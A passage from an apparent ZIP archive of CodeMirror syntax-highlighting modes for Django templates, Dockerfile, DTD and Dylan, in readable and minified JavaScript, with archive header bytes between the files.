        if (state.blockCommentTag) {
          state.blockCommentTag = false;  // Release the "lock"
          state.tokenize = inBlockComment;
        } else {
          state.tokenize = tokenBase;
        }
        return "tag";
      }

      // If nothing was found, advance to the next character
      stream.next();
      return "null";
    }

    // Mark everything as comment inside the tag and the tag itself.
    function inComment (stream, state) {
      if (stream.match(/^.*?#\}/)) state.tokenize = tokenBase
      else stream.skipToEnd()
      return "comment";
    }

    // Mark everything as a comment until the `blockcomment` tag closes.
    function inBlockComment (stream, state) {
      if (stream.match(/\{%\s*endcomment\s*%\}/, false)) {
        state.tokenize = inTag;
        stream.match("{%");
        return "tag";
      } else {
        stream.next();
        return "comment";
      }
    }

    return {
      startState: function () {
        return {tokenize: tokenBase};
      },
      token: function (stream, state) {
        return state.tokenize(stream, state);
      },
      blockCommentStart: "{% comment %}",
      blockCommentEnd: "{% endcomment %}"
    };
  });

  CodeMirror.defineMode("django", function(config) {
    var htmlBase = CodeMirror.getMode(config, "text/html");
    var djangoInner = CodeMirror.getMode(config, "django:inner");
    return CodeMirror.overlayMode(htmlBase, djangoInner);
  });

  CodeMirror.defineMIME("text/x-django", "django");
});
PKE��[K"a��$codemirror/mode/django/django.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../../addon/mode/overlay")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed","../../addon/mode/overlay"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("django:inner",(function(){function
a(a,b){if(a.match("{{"))return
b.tokenize=c,"tag";if(a.match("{%"))return
b.tokenize=d,"tag";if(a.match("{#"))return
b.tokenize=e,"comment";for(;null!=a.next()&&!a.match(/\{[{%#]/,!1););return
null}function b(a,b){return
function(c,d){if(!d.escapeNext&&c.eat(a))d.tokenize=b;else{d.escapeNext&&(d.escapeNext=!1);"\\"==c.next()&&(d.escapeNext=!0)}return"string"}}function
c(c,d){if(d.waitDot){if(d.waitDot=!1,"."!=c.peek())return"null";if(c.match(/\.\W+/))return"error";if(c.eat("."))return
d.waitProperty=!0,"null";throw Error("Unexpected error while
waiting for
property.")}if(d.waitPipe){if(d.waitPipe=!1,"|"!=c.peek())return"null";if(c.match(/\.\W+/))return"error";if(c.eat("|"))return
d.waitFilter=!0,"null";throw Error("Unexpected error while
waiting for filter.")}return
d.waitProperty&&(d.waitProperty=!1,c.match(/\b(\w+)\b/))?(d.waitDot=!0,d.waitPipe=!0,"property"):d.waitFilter&&(d.waitFilter=!1,c.match(h))?"variable-2":c.eatSpace()?(d.waitProperty=!1,"null"):c.match(/\b\d+(\.\d+)?\b/)?"number":c.match("'")?(d.tokenize=b("'",d.tokenize),"string"):c.match('"')?(d.tokenize=b('"',d.tokenize),"string"):c.match(/\b(\w+)\b/)&&!d.foundVariable?(d.waitDot=!0,d.waitPipe=!0,"variable"):c.match("}}")?(d.waitProperty=null,d.waitFilter=null,d.waitDot=null,d.waitPipe=null,d.tokenize=a,"tag"):(c.next(),"null")}function
d(c,d){if(d.waitDot){if(d.waitDot=!1,"."!=c.peek())return"null";if(c.match(/\.\W+/))return"error";if(c.eat("."))return
d.waitProperty=!0,"null";throw Error("Unexpected error while
waiting for
property.")}if(d.waitPipe){if(d.waitPipe=!1,"|"!=c.peek())return"null";if(c.match(/\.\W+/))return"error";if(c.eat("|"))return
d.waitFilter=!0,"null";throw Error("Unexpected error while
waiting for
filter.")}if(d.waitProperty&&(d.waitProperty=!1,c.match(/\b(\w+)\b/)))return
d.waitDot=!0,d.waitPipe=!0,"property";if(d.waitFilter&&(d.waitFilter=!1,c.match(h)))return"variable-2";if(c.eatSpace())return
d.waitProperty=!1,"null";if(c.match(/\b\d+(\.\d+)?\b/))return"number";if(c.match("'"))return
d.tokenize=b("'",d.tokenize),"string";if(c.match('"'))return
d.tokenize=b('"',d.tokenize),"string";if(c.match(i))return"operator";if(c.match(j))return"keyword";var
e=c.match(g);return
e?("comment"==e[0]&&(d.blockCommentTag=!0),"keyword"):c.match(/\b(\w+)\b/)?(d.waitDot=!0,d.waitPipe=!0,"variable"):c.match("%}")?(d.waitProperty=null,d.waitFilter=null,d.waitDot=null,d.waitPipe=null,d.blockCommentTag?(d.blockCommentTag=!1,d.tokenize=f):d.tokenize=a,"tag"):(c.next(),"null")}function
e(b,c){return
b.match(/^.*?#\}/)?c.tokenize=a:b.skipToEnd(),"comment"}function
f(a,b){return
a.match(/\{%\s*endcomment\s*%\}/,!1)?(b.tokenize=d,a.match("{%"),"tag"):(a.next(),"comment")}var
g=["block","endblock","for","endfor","true","false","filter","endfilter","loop","none","self","super","if","elif","endif","as","else","import","with","endwith","without","context","ifequal","endifequal","ifnotequal","endifnotequal","extends","include","load","comment","endcomment","empty","url","static","trans","blocktrans","endblocktrans","now","regroup","lorem","ifchanged","endifchanged","firstof","debug","cycle","csrf_token","autoescape","endautoescape","spaceless","endspaceless","ssi","templatetag","verbatim","endverbatim","widthratio"],h=["add","addslashes","capfirst","center","cut","date","default","default_if_none","dictsort","dictsortreversed","divisibleby","escape","escapejs","filesizeformat","first","floatformat","force_escape","get_digit","iriencode","join","last","length","length_is","linebreaks","linebreaksbr","linenumbers","ljust","lower","make_list","phone2numeric","pluralize","pprint","random","removetags","rjust","safe","safeseq","slice","slugify","stringformat","striptags","time","timesince","timeuntil","title","truncatechars","truncatechars_html","truncatewords","truncatewords_html","unordered_list","upper","urlencode","urlize","urlizetrunc","wordcount","wordwrap","yesno"],i=["==","!=","<",">","<=",">="],j=["in","not","or","and"];return
g=new
RegExp("^\\b("+g.join("|")+")\\b"),h=new
RegExp("^\\b("+h.join("|")+")\\b"),i=new
RegExp("^\\b("+i.join("|")+")\\b"),j=new
RegExp("^\\b("+j.join("|")+")\\b"),{startState:function(){return{tokenize:a}},token:function(a,b){return
b.tokenize(a,b)},blockCommentStart:"{% comment
%}",blockCommentEnd:"{% endcomment
%}"}})),a.defineMode("django",(function(b){var
c=a.getMode(b,"text/html"),d=a.getMode(b,"django:inner");return
a.overlayMode(c,d)})),a.defineMIME("text/x-django","django")}));PKE��[Ք����(codemirror/mode/dockerfile/dockerfile.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../../addon/mode/simple"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../../addon/mode/simple"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var from = "from";
  var fromRegex = new RegExp("^(\\s*)\\b(" + from +
")\\b", "i");

  var shells = ["run", "cmd", "entrypoint",
"shell"];
  var shellsAsArrayRegex = new RegExp("^(\\s*)(" +
shells.join('|') + ")(\\s+\\[)", "i");

  var expose = "expose";
  var exposeRegex = new RegExp("^(\\s*)(" + expose +
")(\\s+)", "i");

  var others = [
    "arg", "from", "maintainer",
"label", "env",
    "add", "copy", "volume",
"user",
    "workdir", "onbuild", "stopsignal",
"healthcheck", "shell"
  ];

  // Collect all Dockerfile directives
  var instructions = [from, expose].concat(shells).concat(others),
      instructionRegex = "(" + instructions.join('|') +
")",
      instructionOnlyLine = new RegExp("^(\\s*)" +
instructionRegex + "(\\s*)(#.*)?$", "i"),
      instructionWithArguments = new RegExp("^(\\s*)" +
instructionRegex + "(\\s+)", "i");

  CodeMirror.defineSimpleMode("dockerfile", {
    start: [
      // Block comment: This is a line starting with a comment
      {
        regex: /^\s*#.*$/,
        sol: true,
        token: "comment"
      },
      {
        regex: fromRegex,
        token: [null, "keyword"],
        sol: true,
        next: "from"
      },
      // Highlight an instruction without any arguments (for convenience)
      {
        regex: instructionOnlyLine,
        token: [null, "keyword", null, "error"],
        sol: true
      },
      {
        regex: shellsAsArrayRegex,
        token: [null, "keyword", null],
        sol: true,
        next: "array"
      },
      {
        regex: exposeRegex,
        token: [null, "keyword", null],
        sol: true,
        next: "expose"
      },
      // Highlight an instruction followed by arguments
      {
        regex: instructionWithArguments,
        token: [null, "keyword", null],
        sol: true,
        next: "arguments"
      },
      {
        regex: /./,
        token: null
      }
    ],
    from: [
      {
        regex: /\s*$/,
        token: null,
        next: "start"
      },
      {
        // Line comment without instruction arguments is an error
        regex: /(\s*)(#.*)$/,
        token: [null, "error"],
        next: "start"
      },
      {
        regex: /(\s*\S+\s+)(as)/i,
        token: [null, "keyword"],
        next: "start"
      },
      // Fail safe return to start
      {
        token: null,
        next: "start"
      }
    ],
    single: [
      {
        regex: /(?:[^\\']|\\.)/,
        token: "string"
      },
      {
        regex: /'/,
        token: "string",
        pop: true
      }
    ],
    double: [
      {
        regex: /(?:[^\\"]|\\.)/,
        token: "string"
      },
      {
        regex: /"/,
        token: "string",
        pop: true
      }
    ],
    array: [
      {
        regex: /\]/,
        token: null,
        next: "start"
      },
      {
        regex: /"(?:[^\\"]|\\.)*"?/,
        token: "string"
      }
    ],
    expose: [
      {
        regex: /\d+$/,
        token: "number",
        next: "start"
      },
      {
        regex: /[^\d]+$/,
        token: null,
        next: "start"
      },
      {
        regex: /\d+/,
        token: "number"
      },
      {
        regex: /[^\d]+/,
        token: null
      },
      // Fail safe return to start
      {
        token: null,
        next: "start"
      }
    ],
    arguments: [
      {
        regex: /^\s*#.*$/,
        sol: true,
        token: "comment"
      },
      {
        regex: /"(?:[^\\"]|\\.)*"?$/,
        token: "string",
        next: "start"
      },
      {
        regex: /"/,
        token: "string",
        push: "double"
      },
      {
        regex: /'(?:[^\\']|\\.)*'?$/,
        token: "string",
        next: "start"
      },
      {
        regex: /'/,
        token: "string",
        push: "single"
      },
      {
        regex: /[^#"']+[\\`]$/,
        token: null
      },
      {
        regex: /[^#"']+$/,
        token: null,
        next: "start"
      },
      {
        regex: /[^#"']+/,
        token: null
      },
      // Fail safe return to start
      {
        token: null,
        next: "start"
      }
    ],
    meta: {
      lineComment: "#"
    }
  });

  CodeMirror.defineMIME("text/x-dockerfile",
"dockerfile");
});
PKE��[bq�C��,codemirror/mode/dockerfile/dockerfile.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../addon/mode/simple")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../addon/mode/simple"],a):a(CodeMirror)})((function(a){"use
strict";var b=new
RegExp("^(\\s*)\\b(from)\\b","i"),c=["run","cmd","entrypoint","shell"],d=new
RegExp("^(\\s*)("+c.join("|")+")(\\s+\\[)","i"),e=new
RegExp("^(\\s*)(expose)(\\s+)","i"),f=["arg","from","maintainer","label","env","add","copy","volume","user","workdir","onbuild","stopsignal","healthcheck","shell"],g=["from","expose"].concat(c).concat(f),h="("+g.join("|")+")",i=new
RegExp("^(\\s*)"+h+"(\\s*)(#.*)?$","i"),j=new
RegExp("^(\\s*)"+h+"(\\s+)","i");a.defineSimpleMode("dockerfile",{start:[{regex:/^\s*#.*$/,sol:!0,token:"comment"},{regex:b,token:[null,"keyword"],sol:!0,next:"from"},{regex:i,token:[null,"keyword",null,"error"],sol:!0},{regex:d,token:[null,"keyword",null],sol:!0,next:"array"},{regex:e,token:[null,"keyword",null],sol:!0,next:"expose"},{regex:j,token:[null,"keyword",null],sol:!0,next:"arguments"},{regex:/./,token:null}],from:[{regex:/\s*$/,token:null,next:"start"},{regex:/(\s*)(#.*)$/,token:[null,"error"],next:"start"},{regex:/(\s*\S+\s+)(as)/i,token:[null,"keyword"],next:"start"},{token:null,next:"start"}],single:[{regex:/(?:[^\\']|\\.)/,token:"string"},{regex:/'/,token:"string",pop:!0}],double:[{regex:/(?:[^\\"]|\\.)/,token:"string"},{regex:/"/,token:"string",pop:!0}],array:[{regex:/\]/,token:null,next:"start"},{regex:/"(?:[^\\"]|\\.)*"?/,token:"string"}],expose:[{regex:/\d+$/,token:"number",next:"start"},{regex:/[^\d]+$/,token:null,next:"start"},{regex:/\d+/,token:"number"},{regex:/[^\d]+/,token:null},{token:null,next:"start"}],arguments:[{regex:/^\s*#.*$/,sol:!0,token:"comment"},{regex:/"(?:[^\\"]|\\.)*"?$/,token:"string",next:"start"},{regex:/"/,token:"string",push:"double"},{regex:/'(?:[^\\']|\\.)*'?$/,token:"string",next:"start"},{regex:/'/,token:"string",push:"single"},{regex:/[^#"']+[\\`]$/,token:null},{regex:/[^#"']+$/,token:null,next:"start"},{regex:/[^#"']+/,token:null},{token:null,next:"start"}],meta:{lineComment:"#"}}),a.defineMIME("text/x-dockerfile","dockerfile")}));PKE��[�9B��codemirror/mode/dtd/dtd.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/*
  DTD mode
  Ported to CodeMirror by Peter Kroon <plakroon@gmail.com>
  Report bugs/issues here: https://github.com/codemirror/CodeMirror/issues
  GitHub: @peterkroon
*/

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("dtd", function(config) {
  var indentUnit = config.indentUnit, type;
  function ret(style, tp) {type = tp; return style;}

  function tokenBase(stream, state) {
    var ch = stream.next();

    if (ch == "<" && stream.eat("!") ) {
      if (stream.eatWhile(/[\-]/)) {
        state.tokenize = tokenSGMLComment;
        return tokenSGMLComment(stream, state);
      } else if (stream.eatWhile(/[\w]/)) return ret("keyword",
"doindent");
    } else if (ch == "<" && stream.eat("?"))
{ //xml declaration
      state.tokenize = inBlock("meta", "?>");
      return ret("meta", ch);
    } else if (ch == "#" && stream.eatWhile(/[\w]/))
return ret("atom", "tag");
    else if (ch == "|") return ret("keyword",
"seperator");
    else if (ch.match(/[\(\)\[\]\-\.,\+\?>]/)) return ret(null,
ch);//if(ch === ">") return ret(null, "endtag");
else
    else if (ch.match(/[\[\]]/)) return ret("rule", ch);
    else if (ch == "\"" || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    } else if (stream.eatWhile(/[a-zA-Z\?\+\d]/)) {
      var sc = stream.current();
      if( sc.substr(sc.length-1,sc.length).match(/\?|\+/) !== null
)stream.backUp(1);
      return ret("tag", "tag");
    } else if (ch == "%" || ch == "*" ) return
ret("number", "number");
    else {
      stream.eatWhile(/[\w\\\-_%.{,]/);
      return ret(null, null);
    }
  }

  function tokenSGMLComment(stream, state) {
    var dashes = 0, ch;
    while ((ch = stream.next()) != null) {
      if (dashes >= 2 && ch == ">") {
        state.tokenize = tokenBase;
        break;
      }
      dashes = (ch == "-") ? dashes + 1 : 0;
    }
    return ret("comment", "comment");
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) {
          state.tokenize = tokenBase;
          break;
        }
        escaped = !escaped && ch == "\\";
      }
      return ret("string", "tag");
    };
  }

  function inBlock(style, terminator) {
    return function(stream, state) {
      while (!stream.eol()) {
        if (stream.match(terminator)) {
          state.tokenize = tokenBase;
          break;
        }
        stream.next();
      }
      return style;
    };
  }

  return {
    startState: function(base) {
      return {tokenize: tokenBase,
              baseIndent: base || 0,
              stack: []};
    },

    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);

      var context = state.stack[state.stack.length-1];
      if (stream.current() == "[" || type ===
"doindent" || type == "[")
state.stack.push("rule");
      else if (type === "endtag")
state.stack[state.stack.length-1] = "endtag";
      else if (stream.current() == "]" || type == "]"
|| (type == ">" && context == "rule"))
state.stack.pop();
      else if (type == "[") state.stack.push("[");
      return style;
    },

    indent: function(state, textAfter) {
      var n = state.stack.length;

      if( textAfter.match(/\]\s+|\]/) )n=n-1;
      else if(textAfter.substr(textAfter.length-1, textAfter.length) ===
">"){
        if(textAfter.substr(0,1) === "<") {}
        else if( type == "doindent" && textAfter.length
> 1 ) {}
        else if( type == "doindent")n--;
        else if( type == ">" && textAfter.length >
1) {}
        else if( type == "tag" && textAfter !==
">") {}
        else if( type == "tag" &&
state.stack[state.stack.length-1] == "rule")n--;
        else if( type == "tag")n++;
        else if( textAfter === ">" &&
state.stack[state.stack.length-1] == "rule" && type ===
">")n--;
        else if( textAfter === ">" &&
state.stack[state.stack.length-1] == "rule") {}
        else if( textAfter.substr(0,1) !== "<" &&
textAfter.substr(0,1) === ">" )n=n-1;
        else if( textAfter === ">") {}
        else n=n-1;
        //over rule them all
        if(type == null || type == "]")n--;
      }

      return state.baseIndent + n * indentUnit;
    },

    electricChars: "]>"
  };
});

CodeMirror.defineMIME("application/xml-dtd", "dtd");

});
PKE��[o_�4��codemirror/mode/dtd/dtd.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("dtd",(function(a){function
b(a,b){return g=b,a}function c(a,c){var
g=a.next();if("<"!=g||!a.eat("!")){if("<"==g&&a.eat("?"))return
c.tokenize=f("meta","?>"),b("meta",g);if("#"==g&&a.eatWhile(/[\w]/))return
b("atom","tag");if("|"==g)return
b("keyword","seperator");if(g.match(/[\(\)\[\]\-\.,\+\?>]/))return
b(null,g);if(g.match(/[\[\]]/))return
b("rule",g);if('"'==g||"'"==g)return
c.tokenize=e(g),c.tokenize(a,c);if(a.eatWhile(/[a-zA-Z\?\+\d]/)){var
h=a.current();return
null!==h.substr(h.length-1,h.length).match(/\?|\+/)&&a.backUp(1),b("tag","tag")}return"%"==g||"*"==g?b("number","number"):(a.eatWhile(/[\w\\\-_%.{,]/),b(null,null))}return
a.eatWhile(/[\-]/)?(c.tokenize=d,d(a,c)):a.eatWhile(/[\w]/)?b("keyword","doindent"):void
0}function d(a,d){for(var
e,f=0;null!=(e=a.next());){if(f>=2&&">"==e){d.tokenize=c;break}f="-"==e?f+1:0}return
b("comment","comment")}function e(a){return
function(d,e){for(var
f,g=!1;null!=(f=d.next());){if(f==a&&!g){e.tokenize=c;break}g=!g&&"\\"==f}return
b("string","tag")}}function f(a,b){return
function(d,e){for(;!d.eol();){if(d.match(b)){e.tokenize=c;break}d.next()}return
a}}var
g,h=a.indentUnit;return{startState:function(a){return{tokenize:c,baseIndent:a||0,stack:[]}},token:function(a,b){if(a.eatSpace())return
null;var
c=b.tokenize(a,b),d=b.stack[b.stack.length-1];return"["==a.current()||"doindent"===g||"["==g?b.stack.push("rule"):"endtag"===g?b.stack[b.stack.length-1]="endtag":"]"==a.current()||"]"==g||">"==g&&"rule"==d?b.stack.pop():"["==g&&b.stack.push("["),c},indent:function(a,b){var
c=a.stack.length;return
b.match(/\]\s+|\]/)?c-=1:">"===b.substr(b.length-1,b.length)&&("<"===b.substr(0,1)||"doindent"==g&&b.length>1||("doindent"==g?c--:">"==g&&b.length>1||"tag"==g&&">"!==b||("tag"==g&&"rule"==a.stack[a.stack.length-1]?c--:"tag"==g?c++:">"===b&&"rule"==a.stack[a.stack.length-1]&&">"===g?c--:">"===b&&"rule"==a.stack[a.stack.length-1]||("<"!==b.substr(0,1)&&">"===b.substr(0,1)?c-=1:">"===b||(c-=1)))),null!=g&&"]"!=g||c--),a.baseIndent+c*h},electricChars:"]>"}})),a.defineMIME("application/xml-dtd","dtd")}));PKE��[C�-��'�'codemirror/mode/dylan/dylan.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

function forEach(arr, f) {
  for (var i = 0; i < arr.length; i++) f(arr[i], i)
}
function some(arr, f) {
  for (var i = 0; i < arr.length; i++) if (f(arr[i], i)) return true
  return false
}

CodeMirror.defineMode("dylan", function(_config) {
  // Words
  var words = {
    // Words that introduce unnamed definitions like "define
interface"
    unnamedDefinition: ["interface"],

    // Words that introduce simple named definitions like "define
library"
    namedDefinition: ["module", "library",
"macro",
                      "C-struct", "C-union",
                      "C-function",
"C-callable-wrapper"
                     ],

    // Words that introduce type definitions like "define class".
    // These are also parameterized like "define method" and are
    // appended to otherParameterizedDefinitionWords
    typeParameterizedDefinition: ["class", "C-subtype",
"C-mapped-subtype"],

    // Words that introduce trickier definitions like "define
method".
    // These require special definitions to be added to startExpressions
    otherParameterizedDefinition: ["method",
"function",
                                   "C-variable",
"C-address"
                                  ],

    // Words that introduce module constant definitions.
    // These must also be simple definitions and are
    // appended to otherSimpleDefinitionWords
    constantSimpleDefinition: ["constant"],

    // Words that introduce module variable definitions.
    // These must also be simple definitions and are
    // appended to otherSimpleDefinitionWords
    variableSimpleDefinition: ["variable"],

    // Other words that introduce simple definitions
    // (without implicit bodies).
    otherSimpleDefinition: ["generic", "domain",
                            "C-pointer-type",
                            "table"
                           ],

    // Words that begin statements with implicit bodies.
    statement: ["if", "block", "begin",
"method", "case",
                "for", "select", "when",
"unless", "until",
                "while", "iterate",
"profiling", "dynamic-bind"
               ],

    // Patterns that act as separators in compound statements.
    // This may include any general pattern that must be indented
    // specially.
    separator: ["finally", "exception",
"cleanup", "else",
                "elseif", "afterwards"
               ],

    // Keywords that do not require special indentation handling,
    // but which should be highlighted
    other: ["above", "below", "by",
"from", "handler", "in",
            "instance", "let", "local",
"otherwise", "slot",
            "subclass", "then", "to",
"keyed-by", "virtual"
           ],

    // Condition signaling function calls
    signalingCalls: ["signal", "error",
"cerror",
                     "break", "check-type",
"abort"
                    ]
  };

  words["otherDefinition"] =
    words["unnamedDefinition"]
    .concat(words["namedDefinition"])
    .concat(words["otherParameterizedDefinition"]);

  words["definition"] =
    words["typeParameterizedDefinition"]
    .concat(words["otherDefinition"]);

  words["parameterizedDefinition"] =
    words["typeParameterizedDefinition"]
    .concat(words["otherParameterizedDefinition"]);

  words["simpleDefinition"] =
    words["constantSimpleDefinition"]
    .concat(words["variableSimpleDefinition"])
    .concat(words["otherSimpleDefinition"]);

  words["keyword"] =
    words["statement"]
    .concat(words["separator"])
    .concat(words["other"]);

  // Patterns
  var symbolPattern = "[-_a-zA-Z?!*@<>$%]+";
  var symbol = new RegExp("^" + symbolPattern);
  var patterns = {
    // Symbols with special syntax
    symbolKeyword: symbolPattern + ":",
    symbolClass: "<" + symbolPattern + ">",
    symbolGlobal: "\\*" + symbolPattern + "\\*",
    symbolConstant: "\\$" + symbolPattern
  };
  var patternStyles = {
    symbolKeyword: "atom",
    symbolClass: "tag",
    symbolGlobal: "variable-2",
    symbolConstant: "variable-3"
  };

  // Compile all patterns to regular expressions
  for (var patternName in patterns)
    if (patterns.hasOwnProperty(patternName))
      patterns[patternName] = new RegExp("^" +
patterns[patternName]);

  // Names beginning "with-" and "without-" are
commonly
  // used as statement macro
  patterns["keyword"] =
[/^with(?:out)?-[-_a-zA-Z?!*@<>$%]+/];

  var styles = {};
  styles["keyword"] = "keyword";
  styles["definition"] = "def";
  styles["simpleDefinition"] = "def";
  styles["signalingCalls"] = "builtin";

  // protected words lookup table
  var wordLookup = {};
  var styleLookup = {};

  forEach([
    "keyword",
    "definition",
    "simpleDefinition",
    "signalingCalls"
  ], function(type) {
    forEach(words[type], function(word) {
      wordLookup[word] = type;
      styleLookup[word] = styles[type];
    });
  });


  function chain(stream, state, f) {
    state.tokenize = f;
    return f(stream, state);
  }

  function tokenBase(stream, state) {
    // String
    var ch = stream.peek();
    if (ch == "'" || ch == '"') {
      stream.next();
      return chain(stream, state, tokenString(ch, "string"));
    }
    // Comment
    else if (ch == "/") {
      stream.next();
      if (stream.eat("*")) {
        return chain(stream, state, tokenComment);
      } else if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
      stream.backUp(1);
    }
    // Decimal
    else if (/[+\-\d\.]/.test(ch)) {
      if (stream.match(/^[+-]?[0-9]*\.[0-9]*([esdx][+-]?[0-9]+)?/i) ||
          stream.match(/^[+-]?[0-9]+([esdx][+-]?[0-9]+)/i) ||
          stream.match(/^[+-]?\d+/)) {
        return "number";
      }
    }
    // Hash
    else if (ch == "#") {
      stream.next();
      // Symbol with string syntax
      ch = stream.peek();
      if (ch == '"') {
        stream.next();
        return chain(stream, state, tokenString('"',
"string"));
      }
      // Binary number
      else if (ch == "b") {
        stream.next();
        stream.eatWhile(/[01]/);
        return "number";
      }
      // Hex number
      else if (ch == "x") {
        stream.next();
        stream.eatWhile(/[\da-f]/i);
        return "number";
      }
      // Octal number
      else if (ch == "o") {
        stream.next();
        stream.eatWhile(/[0-7]/);
        return "number";
      }
      // Token concatenation in macros
      else if (ch == '#') {
        stream.next();
        return "punctuation";
      }
      // Sequence literals
      else if ((ch == '[') || (ch == '(')) {
        stream.next();
        return "bracket";
      // Hash symbol
      } else if (stream.match(/f|t|all-keys|include|key|next|rest/i)) {
        return "atom";
      } else {
        stream.eatWhile(/[-a-zA-Z]/);
        return "error";
      }
    } else if (ch == "~") {
      stream.next();
      ch = stream.peek();
      if (ch == "=") {
        stream.next();
        ch = stream.peek();
        if (ch == "=") {
          stream.next();
          return "operator";
        }
        return "operator";
      }
      return "operator";
    } else if (ch == ":") {
      stream.next();
      ch = stream.peek();
      if (ch == "=") {
        stream.next();
        return "operator";
      } else if (ch == ":") {
        stream.next();
        return "punctuation";
      }
    } else if ("[](){}".indexOf(ch) != -1) {
      stream.next();
      return "bracket";
    } else if (".,".indexOf(ch) != -1) {
      stream.next();
      return "punctuation";
    } else if (stream.match("end")) {
      return "keyword";
    }
    for (var name in patterns) {
      if (patterns.hasOwnProperty(name)) {
        var pattern = patterns[name];
        if ((pattern instanceof Array && some(pattern, function(p)
{
          return stream.match(p);
        })) || stream.match(pattern))
          return patternStyles[name];
      }
    }
    if (/[+\-*\/^=<>&|]/.test(ch)) {
      stream.next();
      return "operator";
    }
    if (stream.match("define")) {
      return "def";
    } else {
      stream.eatWhile(/[\w\-]/);
      // Keyword
      if (wordLookup.hasOwnProperty(stream.current())) {
        return styleLookup[stream.current()];
      } else if (stream.current().match(symbol)) {
        return "variable";
      } else {
        stream.next();
        return "variable-2";
      }
    }
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, maybeNested = false, nestedCount = 0, ch;
    while ((ch = stream.next())) {
      if (ch == "/" && maybeEnd) {
        if (nestedCount > 0) {
          nestedCount--;
        } else {
          state.tokenize = tokenBase;
          break;
        }
      } else if (ch == "*" && maybeNested) {
        nestedCount++;
      }
      maybeEnd = (ch == "*");
      maybeNested = (ch == "/");
    }
    return "comment";
  }

  function tokenString(quote, style) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {
          end = true;
          break;
        }
        escaped = !escaped && next == "\\";
      }
      if (end || !escaped) {
        state.tokenize = tokenBase;
      }
      return style;
    };
  }

  // Interface
  return {
    startState: function() {
      return {
        tokenize: tokenBase,
        currentIndent: 0
      };
    },
    token: function(stream, state) {
      if (stream.eatSpace())
        return null;
      var style = state.tokenize(stream, state);
      return style;
    },
    blockCommentStart: "/*",
    blockCommentEnd: "*/"
  };
});

CodeMirror.defineMIME("text/x-dylan", "dylan");

});
PKE��[p����"codemirror/mode/dylan/dylan.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){for(var
c=0;c<a.length;c++)b(a[c],c)}function c(a,b){for(var
c=0;c<a.length;c++)if(b(a[c],c))return!0;return!1}a.defineMode("dylan",(function(a){function
d(a,b,c){return b.tokenize=c,c(a,b)}function e(a,b){var
e=a.peek();if("'"==e||'"'==e)return
a.next(),d(a,b,g(e,"string"));if("/"==e){if(a.next(),a.eat("*"))return
d(a,b,f);if(a.eat("/"))return
a.skipToEnd(),"comment";a.backUp(1)}else
if(/[+\-\d\.]/.test(e)){if(a.match(/^[+-]?[0-9]*\.[0-9]*([esdx][+-]?[0-9]+)?/i)||a.match(/^[+-]?[0-9]+([esdx][+-]?[0-9]+)/i)||a.match(/^[+-]?\d+/))return"number"}else{if("#"==e)return
a.next(),e=a.peek(),'"'==e?(a.next(),d(a,b,g('"',"string"))):"b"==e?(a.next(),a.eatWhile(/[01]/),"number"):"x"==e?(a.next(),a.eatWhile(/[\da-f]/i),"number"):"o"==e?(a.next(),a.eatWhile(/[0-7]/),"number"):"#"==e?(a.next(),"punctuation"):"["==e||"("==e?(a.next(),"bracket"):a.match(/f|t|all-keys|include|key|next|rest/i)?"atom":(a.eatWhile(/[-a-zA-Z]/),"error");if("~"==e)return
a.next(),e=a.peek(),"="==e?(a.next(),e=a.peek(),"="==e?(a.next(),"operator"):"operator"):"operator";if(":"==e){if(a.next(),"="==(e=a.peek()))return
a.next(),"operator";if(":"==e)return
a.next(),"punctuation"}else{if(-1!="[](){}".indexOf(e))return
a.next(),"bracket";if(-1!=".,".indexOf(e))return
a.next(),"punctuation";if(a.match("end"))return"keyword"}}for(var
h in k)if(k.hasOwnProperty(h)){var i=k[h];if(i instanceof
Array&&c(i,(function(b){return a.match(b)}))||a.match(i))return
l[h]}return/[+\-*\/^=<>&|]/.test(e)?(a.next(),"operator"):a.match("define")?"def":(a.eatWhile(/[\w\-]/),o.hasOwnProperty(a.current())?p[a.current()]:a.current().match(j)?"variable":(a.next(),"variable-2"))}function
f(a,b){for(var
